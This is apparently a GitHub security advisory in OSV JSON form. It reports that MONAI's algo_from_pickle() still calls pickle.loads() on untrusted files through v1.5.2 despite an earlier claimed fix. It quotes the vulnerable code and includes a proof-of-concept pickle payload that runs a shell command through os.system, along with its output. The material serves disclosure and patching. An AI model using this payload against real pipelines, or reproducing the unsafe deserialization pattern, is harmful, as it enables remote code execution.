{"id":"GHSA-qxq5-qhx6-94qw","summary":"Incomplete Fix in MONAI: algo_from_pickle() pickle.loads() RCE still present in v1.5.2 despite GHSA-89gg-p5r5-q6r4 claiming      patch","details":"## Summary\n\n  GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in\n  `algo_from_pickle()` was fixed in v1.5.2. However, `monai/auto3dseg/utils.py`\n  has not been modified since 2024-07-12 — 18 months before v1.5.2 was released\n  (2026-01-29). All three `pickle.loads()` calls remain unchanged. The fix was\n  never implemented.\n\n  ## Vulnerable Code\n\n  File: `monai/auto3dseg/utils.py` (last commit: 2024-07-12, unchanged in v1.5.2)\n\n  ```python\n  def algo_from_pickle(pkl_filename: str, ...):\n      with open(pkl_filename, \"rb\") as f_pi:\n          data_bytes = f_pi.read()\n      data = pickle.loads(data_bytes)          # SINK 1 — line 321, RCE fires here\n\n      # isinstance/key checks happen AFTER deserialization — already too late\n\n      algo_bytes = data.pop(\"algo_bytes\")\n      ...\n      if len(template_paths_candidates) == 0:\n          algo = pickle.loads(algo_bytes)      # SINK 2 — line 350\n      else:\n          for p in template_paths_candidates:\n              algo = pickle.loads(algo_bytes)  # SINK 3 — line 356\n\n  No Unpickler subclass, no find_class restriction, no allowlist.\n\n  Why the Fix is Incomplete\n\n  - monai/auto3dseg/utils.py last commit: 2024-07-12 (\"drop python 3.8\")\n  - v1.5.2 released: 2026-01-29 — release notes contain no pickle-related changes\n  - v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356\n  - GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch\n\n  PoC\n\n  import pickle, os\n\n  class Exploit:\n      def __reduce__(self):\n          return (os.system, ('id \u003e /tmp/rce_proof.txt',))\n\n  # Craft malicious pkl\n  data = {\"algo_bytes\": pickle.dumps(Exploit()), \"template_path\": None}\n  with open(\"/tmp/evil.pkl\", \"wb\") as f:\n      f.write(pickle.dumps(data))\n\n  # Trigger — monai/auto3dseg/utils.py lines 319-350 verbatim\n  with open(\"/tmp/evil.pkl\", \"rb\") as f:\n      data = pickle.loads(f.read())        # SINK 1 fires — RCE here\n  algo = pickle.loads(data[\"algo_bytes\"])  # SINK 2 fires\n\n  print(open(\"/tmp/rce_proof.txt\").read())\n  # uid=1000(user) gid=1000(user) groups=...\n\n  Verified on monai v1.5.2 (utils.py verbatim source):\n  [+] RCE CONFIRMED via algo_from_pickle():\n      desktop-5657tb1\\woong\n\n  Impact\n\n  Any application or ML pipeline calling algo_from_pickle() with an\n  attacker-supplied file path is vulnerable to full RCE. Medical AI workflows\n  frequently exchange model checkpoints, making this a realistic attack vector.","aliases":["CVE-2026-100843","PYSEC-2026-4018"],"modified":"2026-10-01T09:25:41.478512480Z","published":"2026-08-18T20:22:30Z","database_specific":{"nvd_published_at":null,"cwe_ids":["CWE-502"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-08-18T20:22:30Z"},"references":[{"type":"WEB","url":"https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-qxq5-qhx6-94qw"},{"type":"PACKAGE","url":"https://github.com/Project-MONAI/MONAI"},{"type":"WEB","url":"https://github.com/Project-MONAI/MONAI/releases/tag/1.6.0"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-89gg-p5r5-q6r4"}],"affected":[{"package":{"name":"monai","ecosystem":"PyPI","purl":"pkg:pypi/monai"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.6.0"}]}],"versions":["0.0.1","0.1.0","0.2.0","0.3.0","0.4.0","0.5.0","0.5.1","0.5.2","0.5.3","0.6.0","0.7.0","0.8.0","0.8.1","0.9.0","0.9.1","1.0.0","1.0.1","1.1.0","1.2.0","1.3.0","1.3.1","1.3.2","1.3.2rc1","1.3.3rc1","1.4.0","1.4.0rc1","1.4.0rc10","1.4.0rc11","1.4.0rc12","1.4.0rc2","1.4.0rc3","1.4.0rc4","1.4.0rc5","1.4.0rc6","1.4.0rc7","1.4.0rc8","1.4.0rc9","1.4.1rc1","1.5.0","1.5.0rc1","1.5.1","1.5.2","1.5.2rc1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-qxq5-qhx6-94qw/GHSA-qxq5-qhx6-94qw.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}]}